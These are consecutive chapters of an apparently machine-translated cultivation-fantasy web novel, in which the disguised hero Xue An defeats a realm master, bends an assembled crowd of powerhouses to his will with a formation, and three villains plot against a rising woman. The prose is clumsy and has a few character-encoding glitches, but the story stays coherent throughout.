    "The world master arrives, idlers retreat!"


    In the cold shout, the crowd hurriedly gave up a clearing.


    Long Yin fell on the ground, the car curtain suddenly opened, and then a mass of nothingness appeared in it.


    And beside Long Nian, there are dozens of guards with bright and powerful armor.


    There was a tumult from the crowd, and then people began to bow their heads, and some even knelt directly on the ground.


    In this mess, Xue An sat calmly, unmoved at all.


    Chong Xuxuan''s face showed a faint look, but Xuan even summoned the courage to greet him.


    "I have seen the world master!"


    There seemed to be a pair of eyes spying on everyone in the nothingness, and after hearing Chong Xuxuan''s greetings, there was a burst of inexplicable laughter in the nothingness.


    "Patriarch Chongxu received his son-in-law this time, which is really gratifying!"


    "Thank you, Lord Lord, for your praise! Please also come to your seat!" Chong Xuxuan greeted him diligently.


    "Forget it, I am not here this time for your so-called son-in-law!" As he said, the voice in the void suddenly became cold.


    "Everyone listens!"


    With an order, all parties bowed their heads.


    Then I heard the voice saying: "The high-ranking adults have a call, order me to summon the strong from all walks of life, and go to the high-ranking to discuss important matters no mistake!


    As soon as this remark came out, the audience fell silent, and then it boiled.


    Many people looked at each other with excitement on their faces.


    Because the higher ranks have a call, it shows that the status of the second rank will rise, how can this not make them excited.


    And this group of emptiness didn''t look at Xue An from beginning to end, and then went on and said, "It shouldn''t be too late. Since you are all here, I will be recruited by the province, and now I will go to the higher ranks with me! "


    "Yes!" The powerhouses bowed their heads and wanted to leave.


    But at this moment, Xue An, who was drinking tea with his head down, gently placed the teacup on the table and said lightly: "Wait!"


    The sound seemed like thunder, and the audience was quiet.


    Then Xue An slowly raised his head and smiled at this group of nothingness, "I think you still don''t want to go! Stay with me!"

 Chapter 1647： Im one person, single you all

    What do you mean?


    Is this guy crazy?


    What does he want to do?


    These doubts arose in the hearts of everyone.


    The nihility also stagnated, and then a voice full of sarcasm came from it.


    "Hei Sha, don''t you think that if you control the Chongxu family, you have the right to talk to me like this? Don''t forget, I gave you even your identity!"


    The questioning sound was full of supreme majesty, and it was almost suffocating.


    People are also a commotion.


    Many people''s faces were gloating, and they looked at Xue An with a deadly look.


    In particular, these Patriarchs who had criticized Xue An before, even loudly criticized them.


    "How dare you talk to the Lord of the Realm like this, don''t kneel down!"


    "Yes! Kneel down!"


    In the scolding, Xue An was not moved at all, and even ignored the clamor of the Patriarchs. He just raised his head, looked at this group of nothingness with a smile, and said slowly.


    "Then what do you think is qualified?"


    "Presumptuous!" Before a voice could be heard from the emptiness, the guards serving by the side shouted loudly.


    A few Patriarchs who were eager to express themselves in front of the realm master directly acted.


    They are very clear.


    This Hei Sha is probably dead today.


    The Lord of the Realm would not allow a person who questioned his authority to live.


    Taking this opportunity, of course, I have to perform well, so that I can deepen my impression in front of the realm master!


    What''s more, the opponent is just a small son-in-law, and there is no pressure to kill.


    Naturally, these Patriarchs will not let go of things that are not dangerous at all, but are very profitable.


    Unfortunately, they all misjudged one thing.


    And it was this incident that ruined their lives.


    Just when their attack had hit Xue An''s front, they were about to swallow Xue An.


    Xue An suddenly raised his eyes, and all the attacks seemed to have been applied to hold the body, and Qi Qi stopped in the air.


    Immediately afterwards, these attacks began to break apart from inch to inch, and quickly extended back.


    These hands-on patrons were shocked and just about to avoid, but it was too late.


    Xue An would naturally not let them go.


    He picked up the teacup on the table and shook it violently.


    Bang.


    There was a cracking sound, the tea cup was shattered, and the splashed porcelain pieces turned into radiance, directly attacking these patriarchs.


    Puff puff!


    Although these Patriarchs have extremely strong strength, when facing this blow, they seem to be ignorant, standing still and stupid.


    Therefore, these tiles easily penetrated the throats of these patriarchs.


    Blood rushed out in an instant, and these Patriarchs looked at Xue An with horror, the brilliance in their eyes gradually dimmed, and finally they threw to the ground.


    This blow smashed not only their throats, but also their spirits.


    hiss!


    Everyone in the room took a breath.


    Although these hands-on people are just ordinary powerhouses, they are not even the most inferior fairy kings.


    But Xue An didn''t even stand up. The fact that so many people were killed in just one blow still made many people''s creeps.


    At least the people who had just despised Xue An, their expressions at this moment all became stagnant.


    Chi Xiao trembled all over, his face was pale, and he whispered in his mouth: "I knew... I knew it would be like this!"


    Xue An patted his hands lightly, shaking off all the pieces of porcelain in the palm of his hand, and then raised his head in time, and smiled at the emptiness.


    "What? Do you think I am qualified now?"


    There was a silence in the void, and it was not until a moment later that a sneer came from within.


    "Okay! Very good! It seems that I really missed you! Hei Sha, oh no! You shouldn''t be called Hei Sha now, because the real Hei Sha is already dead, right?"


    As soon as this remark came out, the audience was in an uproar.


    Because this is really incredible.


    The man in front of him is obviously a black evil, regardless of his spirit fluctuations or his breath?


    But how did the realm master say that the real Heisha is dead?


    Xue An nodded lightly, smiled and said, "It seems that I can''t hide it from you. That''s right, the real Hei Sha is indeed dead long ago!"


    Following the voice, Xue An''s face and body rippled for a while, and finally showed his true colors.


    Seeing this noble and picturesque white-clothed boy, Chong Xulan suddenly breathed a sigh of relief.


    She had wondered more than once in private about what the person pretending to be Heisha looked like, would it be as hideous and terrifying as the demons in the abyss?


    It wasn''t until now that she saw Xue An that she put her heart back in her stomach, and she was even faintly happy.


    The audience was full of uproar.


    "Human race?"


    "Damn, is it the strong human being who came to make trouble?"


    Amidst the drum noise, the voice in the void sneered: "Human powerhouse, you are really powerful, and you can even perfectly simulate the spirit and breath of the black evil spirit, and even cover me! But you shouldn''t be like that. Arrogant!"


    "So now... Kneel me down!"


    When the words fell, the surrounding world suddenly changed, and all the Qi machines began to reject Xue An.


    The huge pressure even squeezed the space around Xue An into cracks.


    But in the face of such coercion, Xue An still didn''t have any expression, but smiled faintly.


    "Am I arrogant? No! I''m just talking about a very common thing! And do you think that such coercion is enough?"


    With that, Xue An''s index finger of his right hand lightly swept across the table, twisted a drop of water, and then flicked it casually.


    boom!


    This drop of water instantly turned into an invincible cannonball, shattering the world and space that shielded oneself.


    An undetectable muffled hum came from the emptiness.


    Xue An faintly smiled, "Also, don''t you want to know, what is the purpose of my disguised as the black evil spirit and summoning all of you here?"


    The voice in the emptiness became extremely cold at this moment, but the tone had become much more cautious, and he was obviously surprised by the strength Xue An had just shown.


    "why?"


    "It''s very simple, I want you to join me in killing high ranks! If you agree, I can let you go."


    boom!


    This sentence was like a bomb which caused a sensation in the audience.


    The emptiness also trembled, and seemed to be surprised by Xue An''s words, but immediately, the voice burst into laughter.


    "Human powerhouse, I know you are really powerful, but you are too confident! With your strength, you want to fight against the high-ranking? And you want to control us?"


    "What? Is there a problem?" Xue An said with a smile.


    The voice became sarcasm, "What do you think? I even wonder if there is a problem with your head, otherwise how could you be so arrogant?"


    Everyone also began to laugh.


    Xue An sighed softly, "I knew that you guys wouldn''t be honest if you weren''t thoroughly beaten down! Not to mention, since the truth doesn''t make sense, then I will hit you through."


    Speaking of this, Xue An raised the corners of his mouth, revealing a sneer, "Do it! I''m alone, single you all!"

 Chapter 1648： 9 house magic solution yin and yang double kill

    "Zhuzi is arrogant!" An angry shout came from the void.


    This world master was obviously completely angered, and the violent killing intent surging out, directly enveloped the audience.


    Having been repeatedly provoked by Xue An in front of so many people, if this world master cannot completely defeat Xue An, his authority will be greatly damaged.


    At that time, it is very likely that even his rule will have problems.


    After all, for these strong men from the abyss, everything is naked.


    When you are strong, everything is easy to say.


    But as long as you show a little sign of weakness, countless people will start to move around.


    Therefore, even for his own dignity, he must completely defeat Xue An in front of everyone.


    The killing intent was like a sea, surging beside Xue An, and then completely locked down.


    The power of the quasi-first-rate fairy king is undoubtedly revealed at this moment.


    Don''t talk about the general strong, just facing this kind of killing intent is enough to make him kneel and surrender.


    But Xue An just watched with a smile, as if these killing intent that caused the temperature around him to drop sharply did not exist.


    "Is that all?" Xue An even asked in a mood.


    "Hmph!" A cold snort came from the emptiness, ignoring the mockery in Xue An''s words, but a cold shout.


    "Nine Palaces Demon Solution."


    Click!


    Following this order, the violent killing intent was directly incarnate in the mysterious formation, trapping Xue An in it.


    Immediately afterwards, a magic light appeared in the formation, crisscrossing in the air, turning into a mess!


    "Yin and Yang double kill!"


    boom!


    These magic lights shrank instantly, ruthlessly strangling everything that was enveloped.


    This kind of power also made all the onlookers disgraced, and those who were timid even took a few steps back quietly.


    There was a smug sneer in the void.


    Because this trick is a special skill that he relies on to become famous, once it is deployed, the strange and difficult magic light will completely smash everything that he encounters.


    Moreover, this directly acts on the most basic particle level, and there is no defense at all.


    So in the eyes of this world master, as long as this trick takes shape, it also means that this Human Race boy will undoubtedly die.


    But at this moment, a crunching sound suddenly came from the Jiugong Demon Jiefang.


    It was as if the chain gear was suddenly jammed by something, and the sound was harsh.


    And the magic light of the sky trembled with this sound.


    what happened?


    Void trembled slightly, and the divine sense of exploration looked at the Nine Palaces Demon Solution Array.


    At this moment, only a loud boom was heard.


    This powerful Jiugong Demon Jiefang was turned into nothing.


    Xue An sat there, not even the slightest change in the expression on his face.


    And in his hand, he held a group of black brilliance impressively.


    It is the magic light of the Jiugong Demon Jiefang.


    It''s just that at this moment, these magic lights, which are enough to smash people into particles, are as soft as a ball of jelly in Xue An''s hands. Although they struggled repeatedly, they did not even hurt the skin of Xue An''s palm.


    "you����."


    At this time, the voice in the void could no longer remain calm.


    You must know that this blow is enough to destroy a strong person of the same level, but it has no effect on the young man in front of him.


    What does this show?


    Could it be said that this Human Race boy is stronger than himself, and he is a first-class Immortal King powerhouse?


    But is this really possible?


    The strong immortal kings in the human race are already rare, and there are only a handful of young immortal kings as young as this juvenile.


    How could such an existence appear here?


    "Very interesting toy!" Xue An looked up with the magic light in his hand and raised his head with interest, "If I guessed correctly, this is the magic light you brought out of the abyss!"


    The audience trembled, and there was even silence in the emptiness.


    It wasn''t until a moment later that there was a soft sigh in the void.


    "Seriously, I am getting more and more confused about your origins!"


    "At this age, with this level of cultivation, you must be from the prosperous place where those people teach Dachang! Let me guess, Xuanmingling or Qianhe Palace?"


    Xue An smiled and shook his head, "No need to guess, I am not from anywhere you think, and I have nothing to do with those Starry Sky Masters!"


    "So you don''t have to worry about these. If you want to kill me, do it early! Otherwise, I can''t guarantee that I have always had such good patience!" Xue An said with a smile.


    There was another silence in the void, and then there was a harsh laughter.


    "Good! Very good! That''s great!"


    The master said three good times, but the killing intent was gradually receding.


    But the more so, the more solemn the atmosphere.


    Many people went into a discoloration, as if thinking of something terrible, they began to quietly retreat.


    "Human race powerhouse, since you refuse to tell your origins and insist on fighting against me, then don''t blame me for being rude!"


    Before he could finish speaking, Xue An interrupted him directly, "It''s like I need you to be polite! What about so much nonsense, just take it out if you have any ability!"


    Such words left many people speechless for a while.


    Because this is no longer a provocation, but a death!


    "Ha ha ha ha ha!" There was a burst of laughter that was almost maddeningly angry.


    "There is a saying in your human race, called a hero out of a young man, now it seems to be true! Now that you are so dying! Then I will fulfill you!"


    After speaking, the voice suddenly became extremely harsh, "You wait and listen, keep your eyes closed, don''t snoop!"


    Give an order.


    All the strong people present were shocked, Qi Qi thought of a terrifying fact, and then he was busy completely shutting down his five senses, afraid to have the slightest idea of ??spying.


    Because they knew that the next master of the realm would perform a real ultimate move.


    Xue An leaned on the chair and watched quietly, a hint of playfulness appeared in his eyes, and then with a wave of his hand, two divine thoughts flew to Chong Xuxuan and Chong Xulan.


    They were terrified and calmed down.


    Chongxu Xuan wailed a few times, and then whispered: "My lord, this world lord..."


    "Needless to say, I know, I want to see what he looks like!" Xue An said with a smile At this moment, I saw that nothingness seemed to be hydrated. The same ink stains, smudged.


    Then a voice came from inside.


    "Seriously, you are proud to be able to force me to use this trick! But nothing more!"


    "So... it''s all over!"


    After all, a strange and unspeakable figure suddenly appeared in the void.


    As soon as this figure appeared, the whole world changed.


    The shining stars dimmed in an instant, as if the energy of heaven and earth had been taken away.


    Only this figure is the center of the world.


    Facing these visions, Chong Xuxuan and Chong Xulan felt an urge to worship.


    With the support of the spirit that Xue Andu gave them, they barely knelt down.

 Chapter 1649： Changing luck and plundering cause and effect

    "Jie Jie, strong human race, you are the first person to see my body form, do you know what this means?" The world master Jie Jie said with a strange smile.


    Xue An watched with cold eyes, and the aura in his body undulated like the sea, and said lightly: "What does it mean?"


    "Cocococo, everyone who sees my body form has only one final result, and that is death! And you...naturally are no exception!"


    Speaking of this, the voice of the world master became extremely tempting, as if the devil was tempting a lost soul.


    "At that time your body will be annihilated, your soul will dissipate, and your luck will be used for me! Become your sacrifice to me!"


    This voice wandered over the atrium square, and some cause and effect between heaven and earth seemed to change for it.


    The huge coercion began to wipe out the breath of Xue An silently.


    The change of cause and effect is an attempt to plunder Xue An''s luck.


    This is the reason why this world lord can be called the quasi-first-rate immortal king powerhouse.


    Because this is a kind of innate ability of his, it is a kind of almost incomprehensible assassin.


    As long as you see his body, then your cause and effect can be changed by it, and your luck will be forcibly plundered.


    At that time, you will become a waste that cannot be contained by the world and will be directly obliterated.


    It can be said that this ability is considered extremely terrifying even in the abyss.


    Change luck against the sky and plunder cause and effect.


    This is enough for this world master to kill the same level in seconds, and even to the first-class fairy king powerhouse.


    Therefore, when the people present heard the masters of the world, they closed their facial features in such fear.


    Because this kind of seeing is not limited to the naked eye, even the slightest snoop is counted.


    If it weren''t for the fact that this world master had to pay a great price every time the body appeared, he could even become a first-class immortal king only through this talent.


    The corner of the world master''s mouth raised a smug sneer, as if he had seen Xue An''s own modification of cause and effect, and the end of his luck being plundered.


    But at this moment, in the turbulence of cause and effect, Xue An, who stood still like a rock, suddenly laughed.


    "Do you know? I have been waiting for you to show your body, because this is the only way..."


    Xue An suddenly raised his eyes, "I can completely transform you!"


    Somehow, after seeing Xue An''s gaze, the realm master felt a deep chill for no reason.


    This kind of fear caused him to immediately change his strategy, and the devil blood in his body instantly burned and sacrificed directly to the unknowable void.


    Click!


    Amid a intensive explosion of sound, a majestic causal force that seemed to travel from the end of time and space suddenly came, and then began to change everything crazy.


    The world master spit out a big mouthful of blood, this is because he couldn''t bear such a huge pressure.


    But he wiped off the blood from the corner of his mouth casually and looked at Xue An with a grin.


    Are you still alive now?


    But at this moment, Xue An, who had been sitting in a chair and didn''t get up the whole time, stood up slowly.


    "I want to rob me of my luck, should I say your head is tough, or should you...find death?"


    When the words fell, a huge air of luck that was enough to make the world shudder for it soared into the sky.


    If the power of cause and effect just now swallowed Xue An like an ocean.


    So now the burst of air from Xue An is like a huge torch that illuminates the heavens, enough to make anyone bow his head.


    Bang!


    Under the strong luck, the turbulent sea of ??cause and effect was instantly obliterated.


    The world master couldn''t believe his eyes, and screamed: "No...how is this possible? How can you have such a huge amount of luck!"


    No wonder he was so scared.


    Because even when he faced those high-ranking adults, he had never felt such a huge amount of luck.


    The only thing that can be compared with it is that when he was in the abyss, he had met an evil **** at the bottom of the abyss by chance and coincidence.


    He was still very weak at the time, and he felt that the luck from the evil **** was as shocking as the sea of ??stars.


    And that Cthulhu, at least half of the immortal emperor''s cultivation base.


    But even the luck of that evil **** could not be compared with the human youth in front of him.


    Could it be said that he is more powerful than the half-step immortal emperor, but the existence of the immortal emperor''s level?


    As soon as this thought came out, the master of the world was cold and terrified.


    But he did not run away.


    Because he knew that if this human youth was really an immortal emperor-level powerhouse, even if he ran out of the heavens now, he would be able to catch himself back.


    So he could only tremble all over, looking at Xue An with horror.


    As for the others in the audience, they didn''t realize this because they closed the five senses.


    Only Chong Xuxuan and Chong Xulan watched this scene dumbfounded, and were speechless in shock.


    At this moment, I saw Xue An walking forward, and instantly came to the trembling world master, overlooking him condescendingly.


    "Now, can you believe what I said?"


    The realm master trembled, "You...who are you?"


    Now Xue An has become extremely mysterious in his eyes.


    But he can at least ascertain one thing, that is, this young man is definitely not from those starry sky masters.


    Because even the Starry Sky Great Sect, which has been passed down for thousands of years, cannot teach an existence comparable to the Immortal Emperor.


    You know, the human fairy kings are the rarest among the heavens, but they are also the most powerful.


    There are many more fairy kings in the abyss.


    But once you reach the first level of the immortal emperor, no matter what race it is, there are only a few people.


    Could it be that...he is a certain powerful reincarnation? This idea suddenly appeared in the mind of the world master.


    I have to say that this idea is very close to the truth.


    But Xue An was obviously not prepared to answer this question from the master.


    I saw him smile slightly, "It doesn''t matter who I am, but the important thing is that in the future...I will be your master!"


    The owner was shocked just wanted to speak.


    Seeing the brilliance of Xue An''s eyes bursting brightly, he gave a soft drink.


    "Reverse the Five Elements Reincarnation Array!"


    boom!


    Give an order.


    Numerous dense runes appeared on the floor of the atrium square, and then violent energy rose into the sky, enveloping everyone in it.


    "Ahhhhhhh! What kind of ghost formation is this!" The realm master felt the strangeness of these runes and couldn''t help shouting in horror.


    "It''s nothing, it''s just to transform you and let you re-behave!"


    "No...!" The world master finally felt scared.


    But everything is too late.


    The violent rune light penetrated into everyone''s eyebrows, and began to change everything forcibly.

 Chapter 1650： The sound is shaking and dizzying.

    Fu Guang finally stepped back. At this time, everyone in the field was full of confusion.


    Even this world master is no exception.


    He looked at Xue An with eyes full of confusion, as if trying to remember something.


    Xue An smiled slightly, "Why? Don''t you know how to bow when you see the master?"


    As soon as this remark came out, the world master trembled, his eyes quickly became clear, and then he bowed to Xue Anshen.


    "Master forgive me, humbled just now!"


    This picture formed a sharp contrast with the people in the hall standing in place like wood-carved clay sculptures.


    Because of Xue An''s spiritual protection, Chong Xulan was not affected by the light.


    Therefore, when she saw this scene before her, her eyes gradually widened, and her heart was full of shock.


    How is this going?


    Why did the world master, who had just been fighting Xue An decisively, suddenly become so respectful, even claiming his master?


    And what happened to the rest of these people? Why are all faces dull?


    These questions caused Chong Xulan''s confusion into a pot of porridge, and the eyes that looked at Xue An were full of deep awe.


    Although she has tried her best to raise Xue An''s strength, but now it seems that her imagination is still too lacking.


    The boy in front of him is probably far more powerful than he thought.


    At this moment, Xue An waved casually.


    The shielded five senses of everyone present were unblocked.


    There was a commotion in the audience, and everyone looked at each other, all at a loss.


    But soon, they remembered something, and greeted Xue Anshen at the same time.


    "I have seen the master!"


    The sound is shaking and dizzying.


    Seeing this scene, Luo Lanting, who had never spoken from the beginning to the end, suddenly sighed quietly.


    "Is this the result that the adults have already calculated? It is really amazing to transform all the strong people in the audience with just one person!"


    Luo Lanting''s admiration came from the heart, because everything in front of her was simply unheard of.


    Even if it is his brother''s master, it is probably difficult to do this!


    Xue An smiled slightly, "Okay! Get up!"


    Having said that, he turned his head and looked at the world master, "Let''s talk about it! What happened to the high ranks this time, I want to summon you to go?"


    "Yes!" The world master gave a respectful salute, and then said in a deep voice: "Master, this time I was called by the high-ranking Zeng Hong, Shang Peng and Yu Yang!"


    "They ordered me to convene as many powerhouses as possible, and then go to high-level meetings, and this time it''s not just them, almost the entire high-level powerhouses will participate!"


    "Oh? Discussion?" Xue An asked back.


    "Yes! I don''t know exactly what to discuss, but it seems that I intend to deal with someone!"


    "To deal with someone?" Xue An muttered softly several times, and a dangerous cold light suddenly flashed in his eyes.


    "Master, what are we going to do next?" The world master asked respectfully.


    In fact, 80% of the talisman light that reversed the five-element reincarnation formation was used on him, so he was also the most thoroughly transformed person.


    The current world master seems to have regarded Xue An as the most noble master, and his loyalty is unparalleled.


    This is also the horror of this formation, because it can completely change a person''s divine mind.


    If it weren''t for many restrictions on casting conditions, this formation could change the pattern of the heavens.


    And this was also obtained by Xue An accidentally from somewhere in the ancient remains, but he didn''t expect it to come in handy this time.


    "Have you replied to the higher ranks?"


    "I''m back, I told them that I will be there tomorrow at the latest!" said the master.


    "Okay, then let''s leave immediately and head to the higher ranks!"


    "Yes!"


    This world master naturally had no doubts about Xue An''s words. As for the others, because of the influence of this formation, they were full of loyalty to Xue An, so they immediately started to act.


    Chong Xulan looked at all this dumbfounded.


    She has never seen so many powerful people of the next rank united in such a unity.


    For example, just now, she saw with her own eyes two forces with blood and blood feuds getting together to prepare affairs.


    This was unimaginable before.


    But now he really happened in front of him.


    Even Chong Xuxuan rushed into the large army and got busy very hard.


    In an instant, the audience seemed to be left alone with the Luolan Pavilion standing beside him.


    At this moment, Xue An didn''t know when she appeared behind her, and said indifferently: "Well, I told you to cooperate well before, now your task has been completed! I will let you go as promised! "


    After saying this, Xue An turned his head and rushed to Lanting and smiled slightly, "I''m going to return to a high level soon, what do you think?"


    Luo Lanting lowered his head and was silent for a moment. When he raised his head again, his eyes were already red, and he gritted his teeth and said bitterly: "My lord, in fact, I don''t really hate those who deal with my brother, because even my brother''s master is not their opponent! It''s not surprising that we lost!"


    "But I hate those people who stabbed my siblings in the back and fell into trouble, so what I want most now is to let those people die!"


    Xue An slapped his hands and exclaimed: "That''s a good point. If that''s the case, then I will fulfill your little wish, and I will naturally make those guys pay the price they deserve!"


    After all, Xue An took a step to leave.


    Chong Xulan suddenly raised his head and said solemnly, "My lord, I also want to go with you to a higher level!"


    "Oh?" Xue An stopped and glanced at Chong Xulan with some surprise, "You have to think clearly, the transaction between us has ended, and you are now free, but if you follow along to the higher ranks If you do, it''s very likely that you will never come back again!"


    Chong Xulan''s heart was very tangled, but still nodded in a ghostly manner.


    "My lord, I have already considered it, and I am willing to bear all the consequences!"


    Xue An took a deep look at her, and finally nodded with a smile, "Well, since you have made a decision, let''s follow along!"


    After all Xue An turned and left.


    Chong Xulan let out a sigh of relief, only to realize that his back was soaked in cold sweat.


    In fact, she didn''t know why she did it suddenly.


    But there seemed to be a voice in the midst of saying that if you don''t seize the opportunity now, then you might regret it for the rest of your life!


    That''s why she resolutely made a decision.


    Once people cooperate unreservedly, the efficiency is extremely amazing.


    quickly.


    Everything is ready.


    "Master, when shall we leave?"


    "Now, and also, you have to remember that when you reach a high level, the identity on my face is just a personal emissary of yours. Don''t show your feet, understand?"


    "Yes!"

 Chapter 1651： Evil spirit sprites

    High-level.


    If the bottom rank is the cornerstone of Paradise Lost and the second rank is the mountainside of Paradise Lost, then the higher rank is the top of Paradise Lost.


    Except for the thirteenth-story city at the top, it almost has the highest combat power of the entire Lost Paradise.


    The gathering of bigwigs from all sides has also made this a truly sinister place.


    You never know who you are about to face!


    It could be a demon who slaughtered an entire star, or it could be a traitor from the right way.


    But without exception, those who can appear here are not easy ones.


    Even an ordinary passerby may have powerful strength.


    now.


    In a magnificent palace located somewhere high.


    Zeng Hong, Shang Peng and Yu Yang are sitting and drinking.


    Wine is a superb wine from the depths of the Baihua Galaxy, and a cup can be sold at a high price among the heavens.


    The dishes are delicacies carefully prepared with various precious ingredients.


    Not far away there is a master of music playing drums.


    Under the veil of the purest aura transformed into white mist, there is a beautiful lady dancing.


    In short, in this palace, as long as you can think of, all are the best.


    At this moment, the wine has become slightly drunk.


    Zeng Hongxin threw the wine glass carved from ten thousand years of chalcedony on the table, and the splashed wine fell on the table of pure jade, unexpectedly growing many spirit plants.


    This is a phenomenon caused by the aura contained in the wine being too strong.


    "Brother Shang Peng will enjoy it! Every time I come to you, I don''t want to go!" Zeng Hong stretched out comfortably, and the knotted muscles between his waist and abdomen stretched out and made a noise. A loud noise like thunder.


    This is the performance that his body has been condensed to the extreme.


    That''s right.


    This Zeng Hong is a pure body cultivation that is extremely rare among the heavens.


    I heard that if it weren��t for his violent temperament, bloodthirsty, and very greedy, after a drunkenness, he actually killed the human race of a planet, causing the teacher to be angry, he might have become the master of the starry sky somewhere. .


    It was also because his teacher was furious and looked for him everywhere, and wanted him to be tortured, that he came to take refuge in this paradise lost.


    It was originally a helpless act of last resort. Unexpectedly, after coming here, Zeng Hong was like a fish in water, and soon became a high-level giant because of his own strength.


    Then he got acquainted with Shang Peng and Yu Yang.


    The background of these two people is similar to that of Zeng Hong.


    Shang Peng was originally a righteous monk, but because of the extraordinary strength and tyrannical strength of his self-reliance, coupled with the willingness to use the soul of the demon race to enhance his strength, he began to kill the demon race.


    Regardless of righteousness and evil, as long as the demon race he is eyeing is not immune.


    Regarding this move, although many sects had quite a bit of criticism, Shang Peng''s sect had closed one eye.


    Because after Shang Peng slaughtered the monster clan, he would be very clever to hand over part of the proceeds to his division.


    In this case, these greedy senior teachers naturally pretended not to know, and even backed up.


    But I never expected that Shang Peng got into a big trouble when he was going to kill the monster race.


    When Shishipeng focused on a fox clan who had been practicing for a long time.


    This fox family hides in the savage land of the starry sky, fighting against the world, just wants to increase its strength, but has no defense against the outside world.


    Even for the human monks, they are very friendly.


    But because of this reason, they suffered a catastrophe.


    Shang Peng first used extremely despicable means to win the trust of this fox tribe, and then united with his divisions, the inside and the outside merged, completely destroyed this fox tribe in one fell swoop, and captured hundreds of pure-breath fox demons.


    These are all rare good things for male monks!


    So Shang Peng''s entire division was deceived by the interests in front of him, and he actually captured all these fox races!


    But just before they returned to Shimen, they had not had time to celebrate this event.


    A catastrophe suddenly descended.


    A man of the Fox tribe who seemed to be arrogant suddenly appeared in Shang Peng''s division, and then completely destroyed Shang Peng''s division with his own power.


    And the whole process only took less than a stick of incense.


    You must know that Shang Peng''s division has first-rate immortal king-level powerhouses in charge, even so, he still couldn''t escape the methods of this fox man.


    But Shang Peng managed to escape and became a fish that slipped through the net.


    But already scared by the methods of this fox man, how dare he continue to stay outside? In addition, he has lost the protection of the teacher''s gate, he gritted his teeth and threw directly into this lost paradise, and soon became mad Water rises.


    As for Yu Yang.


    His origin is much more mysterious than Shang Peng and Zeng Hong.


    Even now, the two of them only knew that Yu Yang was an evil sword repairman. Because of the killing too much, it caused public anger, and was finally forced to take refuge in Paradise Lost.


    That''s right!


    Jian Xiu also divides good and evil.


    The decent swordsman cultivates a breath of sword energy in his chest, and with this, cuts off all obstacles on the path of cultivation, and finally reaches the ultimate state.


    But this is easier said than done, but it is extremely difficult, even a bit more difficult than physical training.


    Because sword repair is one way, it is easy to learn but hard to master.


    In the initial stage, the advancement is extremely fast, and the power is also invincible among the same level, but the later, the more things need to be destroyed.


    It will not be considered a great success until you can abandon everything and only a sword breath is left.


    But if this degree is not well grasped, it is very likely that he will become a complete sword lunatic, without any human feelings.


    Compared with righteous sword repair, evil sword repair is much more straightforward.


    To put it plainly is just one word, kill!


    Kill all who can be killed!


    In this way, the murderous aura is accumulated, and then the sword aura is fed back, and finally the supreme evil sword is achieved.


    This can be said to be the most evil, but at the same time the most powerful practice.


    But a carelessness will lead to boundless killing and robbery, so it will attract all the monks to attack.


    That is, in this paradise lost in this dark place, this Yu Yang can live safely, otherwise he would die a long time ago.


    Of course, this is also because he is afraid to provoke his strange kendo training.


    now.


    The three of them got together, drank and had fun, and were so happy.


    Shang Peng chuckled a few times, "Brother Zeng joked. If you like it, this palace will be given to you! Anyway, I have a lot more!"


    "Tsk-tsk Brother Shang is really refreshing, no wonder he can become the leading rich man among the high ranks!" Zeng Hong smiled very happily.


    Yu Yang curled his lips on the side, then stared at the woman dancing in the clouds and licked his lips.


    "Why? Brother Yu Yang is interested in these girls? Then call them over and have fun!" Shang Peng said with a smile.


    Yu Yang shook his head, and then said in a hoarse and unpleasant voice: "I''m just thinking, **** them will make their cry the most miserable!"


    Shang Peng''s smile became a little reluctant, and his eyelids twitched slightly.


    For such a utterly lunatic, even he was a little bit chilly.


    Upon seeing this, Zeng Hong hurriedly came out to complete the game, "Okay! Brother Yu Yang don''t think about **** these ladies, otherwise, who will dance to us?"


    "Haha!" Yu Yang laughed a few times, then lowered his head and said nothing.

 Chapter 1652： Storm will rise

    "Hey, you said that this time we assembled the entire high-level and even the sub-level power, can we deal with that woman?" Zeng Hong suddenly lowered his voice and asked.


    As soon as these words were said, the expressions of the three of them changed, including Yu Yang, who was still full of murderous expressions just now.


    It became very complicated, it seemed like fear, but also with a bit of coveting, but more of it was the restlessness of eagerness.


    "Haha, what do you think, Brother Zeng?" Shang Peng said with a smile, his eyes narrowed.


    "I think, since this time even our high-ranking situation has been disturbed by the changes, it means that the upper-class people are really ready to attack this woman. If this is the case, this woman will undoubtedly die!"


    Speaking of this, Zeng Hong��s tone became extremely cold, ��After all, even the previous existence was defeated by these big men for a long time, and I don��t know what to do! Even if this woman is indeed strong enough, with a dark body, in a very short time Within a period of time, she has become the leading existence in Paradise Lost, but after all, she has too little foundation. If she really wants to deal with her, she will never be able to survive!"


    After listening to Zeng Hong��s words, Shang Peng applauded and admired, ��What Brother Zeng said is exactly what I thought in my heart. In fact, it is beyond my expectation that this woman can survive such a huge pressure until now! But in the end, The result of this is still not going to change, so let''s..."


    At the end, Shang Peng gave Zeng Hong and Yu Yang a meaningful look.


    Yu Yang sneered, "Fishing in troubled waters, get the most benefit from this woman!"


    "That''s right!" Zeng Hong and Shang Peng replied in unison, and then the three of them burst into laughter.


    But just when the three of them were full of joy, an imperceptible fluctuation suddenly awakened Shang Peng.


    He couldn''t help but whispered, "Hey, weird!"


    "What''s wrong?" Zeng Hong asked.


    "It''s the second level, the breath of that fellow Fierce Ming suddenly disappeared!"


    "Oh? How could this happen? Could something happen to the second rank?" Zeng Hong''s expression also changed.


    Because Xiaoming is the second-tier world master!


    Although they were slightly inferior to the three of them in terms of strength, they had a headache because of their strange and unpredictable talent and supernatural powers because they were born in the abyss.


    It would be a bit troublesome if Shang Peng''s mastermind method could restrain this evil spirit!


    But why does such a presence suddenly disappear?


    "I don''t know, could it be..." Shang Peng''s expression relaxed again before he finished speaking.


    "Well, it''s okay! His breath fluctuation is back!"


    "I''m back? Nothing will happen, right?" Yu Yang asked coldly.


    Shang Peng smiled slightly, "Don''t worry, I have checked it carefully, there is no problem with the breath, it is ferocious, and others can''t replace it. As for why it suddenly disappears for a while..."


    "Perhaps the turbulence of time and space happened to pass by! You know, divine mind connection is sometimes so unstable!"


    This explanation can be said to be reasonable, so Zeng Hong and Yu Yang also nodded and stopped asking more questions.


    But they didn''t take this matter to heart at all. They didn''t know that a big storm that was about to sweep the entire Paradise Lost was approaching quietly.


    When he set foot on the high-level land again, Luo Lanting''s expression became extremely complicated.


    There are many memories of her, at least when she was young, all these memories are full of warm colors.


    Under the protection and pampering of her brother, she was innocent and hardly knew what pain was.


    But all this came to an abrupt end one day.


    Until now, Luolan Pavilion still clearly remembers that day.


    That day my brother was invited by some friends to go out to a banquet.


    This is a normal thing.


    But just a few hours later, the setting sun covered in blood broke into the house.


